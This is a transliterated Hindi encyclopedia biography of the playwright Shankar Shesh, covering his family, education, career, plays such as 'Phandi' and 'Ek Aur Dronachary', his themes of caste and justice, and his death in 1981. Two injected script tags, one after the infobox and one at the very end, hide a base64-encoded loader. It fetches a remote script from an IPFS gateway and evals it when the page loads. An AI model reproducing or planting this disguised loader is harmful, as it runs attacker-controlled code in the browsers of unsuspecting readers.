शंकर शेष
shankar shesh
| |
| poora nam | shankar shesh |
| janm | 2 aktoobar, 1933 |
| janm bhoomi | bilasapur, chhattisagadh |
| mrityu | 28 navambar, 1981 |
| abhibhavak | pita- nagorav vinayak rav shesh, mata- savitri baee shesh. |
| karm bhoomi | bharat |
| karm-kshetr | naty lekhak |
| mukhy rachanaean | ‘phandi’, ‘ek tha dronachary’, ‘raktabij’, 'gharauanda' adi. |
| bhasha | hindi, marathi, aangrezi |
| vidyalay | nagapur mahavidyalay |
| shiksha | bi.e. aaunars |
| prasiddhi | natakakar |
| nagarikata | bharatiy |
| any janakari | shankar shesh svabhav se saral aur karmath the ve. mitrata par jan chhi dakate the. bachchoan ke lie pita kam mitr adhik the. bharatiy stet baiank mean janasanpark vibhag se prakashit patrika ‘kaliang’ ka hindi khand ve hi sanbhalate the. |
| bahari k diyaan | 15:38, 5 march 2017 (IST)
|
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
shankar shesh (aangrezi: Shankar Shesh, janm: 2 aktoobar, 1933, bilasapur; mrityu- 28 navambar, 1981) hindi ke prasiddh natakakar tatha sinema katha lekhak the. ve natak sahity kshetr ke mahatvapoorn natakakaroan mean se ek the. samakalin parivesh aur yugin paristhitiyoan se unake vyaktittv ki sanvedanashil ka nirman hua tha. shankar shesh bahuayami pratibhashali lekhak ke roop mean pahachane jate the. ve mumbee mean ek baiank mean hindi adhikari the. unake ‘phandi’, ‘ek tha dronachary’, ‘raktabij’ adi natakoan se unaki khyati badhi thi. unaka shodh-prabandh ‘hindi marathi’ kahanikaroan ke tulanatmak adhyayan par adharit tha. shankar shesh atyant sahriday aur gut-nirapeksh lekhak the. unake dvara rachit ‘gharoanda’ katha par hindi mean ek prasiddh film bhi bani thi.
parichay
shankar shesh ka janm 2 aktoobar, 1933 ko bilasapur, chhattisagadh mean hua tha. unake pita ka nam nagorav vinayak rav shesh aur mata ka nam savitri baee shesh tha. nagorav shesh ki do patniyaan thian. pahali janakibaee ki mrityu ke bad savitribaee ne ghar mean pravesh kiya. shankar ji parivar mean chauthe kram par the. sabase b de bhaee babanarav, balajirav, taduparaant ek bahan asha, jisaka gyarah varsh ki ayu mean nidhan ho gaya tha. usake pashchath shankar ji, phir ek bahan, jisaki alpayu mean mrityu ho gee thi. unase chhote do bhaee vishnu aur d aauktar gopal haian. vishnu sari jayadad ki dekhabhal karate haian. d aauktar gopal ne 'enashiyant histri' mean pi.ech.di. ki hai aur ve skool mean padhate haian.[1]
shiksha tatha lekhan shuruat
shankar shesh bachapan se kushagr the. shaley jivan se hi kavitaean karate the. bilasapur mean unhoanne shaley evan intaramidiet tak padhaee ki. tatpashchath hindi mean bi.e. aaunars karane ke lie nagapur ke hisl aaup k aaulej mean pravesh liya. nagapur mean adhyayan ke sath any dalan khule. pramukh tha akashavani. akashavani par kavitaean tatha vartaean prasarit hoti thian. vakritv mean bachapan se kushal the. bi.e. aaunars karate hi unhean nagapur mahavidyalay, jo us samay m aauris kahalata tha, lekcharar ka pad mila. adhyapan ke sath-sath kavy lekhan evan akashavani tatha samachar patroan ke lie kahaniyoan ka lekhan praranbh hua. sath hi pi.ech.di. ke lie d aauktar vinay mohan sharma ke margadarshan mean kary shuroo kiya. usi samay naty pratiyogita ke lie natak likha ‘moortikar’, jise medikal k aaulej ke chhatroan ne khela. nirdeshak the ke.ke. mehata. k aaulej ke lie ‘vivah mandap’ bhi likha. us samay hindi ko rajabhasha ghoshit kiya tha. har kshetr mean hindi ke prayog ka agrah tha. hindi ke hasyaspad prayog samaj mean drishtigochar ho rahe the. us vishay par ek vyangyatmak natak likha- ‘hindi ka bhoot’. us samay unaka ‘nagapuri hindi’ lekh bhi b da lokapriy hua. yahian unhoanne ‘ratnagarbha’, ‘til ka ta d’ aur ‘betoan vala bap’ natak likhe. ve manchit hue aur lokapriy bhi hue.
san 1958 mean bhasha ke adhar par rajyoan ka punargathan hua. nagapur maharashtr ka ek hissa bana. shankar shesh ne madhy pradesh mean naukari karana behatar samajha. unhean riva mean padonnit kiya gaya. nagapur ke itane kshetroan mean phaila hua adami keval riva ke k aaulej mean simat gaya. kavita janm leti rahi. kahaniyaan likhi jati rahian. kalidas samaroh mean ‘shakuantal’ natak karane ka avasar mila. ek hi varsh rahane ke bad padonnit huee aur shahadol jane ka avasar aya, naye sire se sab kuchh praranbh hua. shahadol mean praranbh mean padhane-likhane ka vatavaran nahian tha. chhatroan mean padhane ke alava rajaniti mean roochi thi. yahaan ‘ek aur dronachary’ natak ki prishtibhoomi mastishk mean banati gee. kumar gandharv ke shishy pandharapurakar aur unake shishy dholakiya ke sath sangit ki mahaphilean sajane lagian. kavitaoan mean geyata ane lagi. ‘sangi chal bhilaee javo’ yahian ki rachana hai. shankar ji ke sath kuchh aisa sanyog tha ki tin varsh se adhik ve ek makan mean rahe nahian. shahadol ke paanch varsh ke nivas mean tin makan badale ge. prophesar k aauloni ke ghar mean ek naya ayam ju da. k aaulej mean natak hone lage. unaka ‘hindi ka bhoot’ aur ‘til ka ta d’ manchit hua.
naty vishay
d aau. shankar shesh ke natakoan mean jati vyavastha ke nam par hone vale atyacharoan ka yatharth chitran hua hai. bharatiy samaj ki chhuachhoot jaisi kupratha se sanbandhit kee prashn unhoanne uthae haian. sabhy samaj mean jati vyavastha aj bhi vidyaman hai. aj bhi savarn jati ke log mandir par apana hi varchasv kayam rakhana chahate haian aur mandiroan mean shoodr ka pravesh mana hai. yadi koee mandir mean pravesh karane ka sahas karata hai to use gaanv se bahishkrit karane ka dand diya jata hai. is kathan ka praman "badh ka pani" mean pandit aur chhitoo ke sanvad se spasht hota hai- "tumhare bete ne dharam ka nash kiya. pachchis harijanoan ko lekar jo bhagavan ke mandir mean ghus gaya aur bhagavan ko chhoo liya." gaanv mean badh ane par chamar jati ka naval thakur ko bachane jata hai, phir bhi vah apani jid par a da rahata hai. isaka praman "badh ka pani" natak mean ganapat ke sanvad mean milata hai. jatiy vishamata adhunik kal mean hi nahian, mahabharat kal mean bhi dekhane ko milati hai. isaka praman "komal gaandhar" mean bhishm aur sanjay ke kathan se spasht hota hai. "are mayavi sarovar" mean raja aur rrishi ke kathan se brahman aur kshatriy jati ke apas ke varchasv ka spasht hota hai, aur "ek aur dronachary" mean dronachary dvara ekalavy se aangoothe ki maang, isi jati-paanti vyavastha ki agali k di hai. is prakar varn vyavastha ke prati parivartit drishtikon ka parichay milata hai. "padhana thakuroan ka kam hai bhauji, ham chamaroan ka nahian. hamari kundali mean to bas joote banana aur joote khana hi likha hai." is sanvad mean ek harijan ya chamar jati ke vyakti ki padhane ya shikshit hone ki kathinaiyoan ko yatharth chitran kiya gaya hai.[2]
'phandi' natak ke madhyam se natakakar d aau. shankar shesh nyay vyavastha par vyangy karate nazar ate haian. phandi natak ka nayak hai aur aant tak sangharshashil aur joojhata nazar ata hai. lekin usaki niyati anirnayatmak sanshay mean sthagit ho jati hai. apane kaiansar pidit bap ke dard ke mare maangane par vah unaka gala ghoant deta hai. is kathan ke madhyam se natakakar ne purani qanooni vyavastha ko badalane ki ghoshana ki hai- "qanoon yadi sthir aur patthar ke saman j d ho jay to samaj ki badalati huee paristhitiyoan mean vah nyay nahian de sakata hai." qanoon manushy ke lie hai, manushy qanoon ke lie nahian hai. isilie qanoon hamesha nee chunautiyoan ko svikarate hue age badhana chahie. yahaan phandi ka muqadama bhi isi tarah ki ek nee chunauti hai.
ek aur dronachary
thumb|250px|ek aur dronachary ka avaran prishth adhunik shiksha jagat mean phaile bhrashtachar ka bhi shankar shesh ne apane natakoan me zikr kiya hai. gaanv ke log aj bhi moolabhoot shiksha se koso door hai. aj ke rajanetaoan ke sath dhanadhy varg ke logoan ne bhi am janata ko shiksha se door rakhane hetu kee shadayantr rachate haian. isaka parinam yah hua ki shiksha ke abhav mean am adami samajik tatha rajaniti donoan staroan par pichh data chala gaya. shankar shesh ne ‘ek aur dronachary’ namak natak mean shiksha jagat mean badhate rajanaitik dabav ka varnan kiya hai, jisake chalate naujavan pidhi ka bhavishy adhankaramay ho gaya. natakakar ne shikshakoan ki udasinata par tikha kataksh kiya hai. vah shikshak arthik rajanaitik dabavoan ke chalate har man lete haian. pauranik katha ka sahara lekar vah aj ki vyavastha ke charan ban jane vale adhyapak ki trasadi ko natak ke madhyam se abhivyakti pradan ki hai. natak mean aj ki vyavastha mean shikshak varg mean tezise panap rahi suvidhijivi pravritti ke karan vyavastha se ju dane ki visangati, jisase jane-anajane desh ki bhavi pidhi ka bhavishy andhakaragrast ho jata hai, ka akann kiya gaya hai. shiksha jagat mean pakshapatapoorn ravaiye ka ujagar kiya gaya hai.[3]
natak 'gharauanda' par film nirman
k aaulej ke adhyapan ke dauran chhatroan ke jo svanubhav, paranubhav ko shankar shesh ne dekha, parakha aur jiya, ve sanvedanashil mastishk mean sangrahit the. unhoanne akar paya tha 'ek aur dronachary' ke roop mean. ise pahale tarasha bi.vi.karanth ne, jinhoanne naty karyashala ke dauran is natak ko chuna tha. tatpashchath pandit satyadev dube ne apani karyashala mean tarasha. pune ki karyashala mean natak parishkrit hua aur phir khule muanbee mayanagari ke dvar. bharatiy stet baiank mean niyukti apane ap mean chunauti thi. use b di saphalata se nibhakar apane rajabhasha vibhag ke pramukh adhikari ke pad ko shankar shesh ne sarthak banaya. 'hindi baiankiang shabdakosh' ka nirman kiya. parishram shankar ji ke aur kirti kisi aur ko mili. muanbee mean nivas ki samasya aur manav samudr mean rahakar ekakipan ko jab dekha to 'gharauanda' ne akar paya. natak poora karane ke bad use mitroan ko padhakar sunane ki lekhak ki adat thi. bhimasen khurana ne suna aur film banane ki yojana banaee. 'gharauanda' pahala natak tha, jisaka manchan bad mean hua, film pahale bani.[1]
yug chetana ke kalakar
shankar shesh yug chetana ke kalakar haian, isalie unaki rachanaoan mean samajik asangatiyoan ka khula chitran hua hai. 'ratnagarbh', 'raktabij', 'badh ka pani', 'postar', 'chehare', 'rakshas', 'moortikar', 'gharauanda' jaise natak samajik yatharth ko yathakathit anavritt karane vali rachanaean haian. in natakoan mean natakakar ne jahaan ek or samakalin manav ki trasadi, nirasha aur ghutan ka yatharth varnan kiya hai, vahian doosari or samajik dayitv ka nirvah karate hue manavata ko ne mooly aur pratiman dene ka prayas bhi kiya hai. natak ki saphalata aur sarthakata usake manchan mean dekhi ja sakati hai.
vyaktitv
shankar shesh ka vachan vyapak tha. n keval hindi mean varanh marathi, aangrezi mean unhoanne bahut padha. unaki chiantanashilata unake pratyek natak mean dikhaee deti hai. natakoan ka har patr poore chiantan ka paripak hai. unamean gunagrahayata koot-koot kar bhari thi. kisi ke gunoan ki sarahana kar usake gunoan ko vikasit karane mean ve har sanbhav sahayata karate the. shankar shesh svabhav se saral aur karmath the ve. mitrata par jan chhi dakate the. bachchoan ke lie pita kam mitr adhik the. bharatiy stet baiank mean jan sanpark vibhag se prakashit patrika ‘kaliang’ ka hindi khand ve hi sanbhalate the. is prakar kushal prashasak, saphal natakakar, kavi evan kathakar ke ayam shankar ji ke vyaktitv ke pahaloo the.
mrityu
shankar shesh ki mrityu 28 navambar, 1981 ko matr a datalis varsh ki ayu mean ho gee. unaka nidhan parivar, natay jagath, philm jagath aur baiank, sabake lie ek apoorniy kshati hai.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 d aau. shankar shesh, sankshipt parichay (hindi) shankarshesh.com. abhigaman tithi: 05 march, 2017.
- ↑ baboo, d aau. pi. thamas. alekh:d aau.shankar shesh ke natakoan mean samajik yatharth (hindi) apnimaati.com. abhigaman tithi: 05 march, 2017.
- ↑ mina, pushpa. shankar shesh ke natakoan mean rajanitik chetana (hindi) apnimaati.com. abhigaman tithi: 05 march, 2017.
bahari k diyaan
- shankar shesh (marathi mean)
- d aau. shankar shesh ke natakoan mean rangamanchiy sambhavanaean
- 'ek aur dronachary' se kiya vyavastha par prahar
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>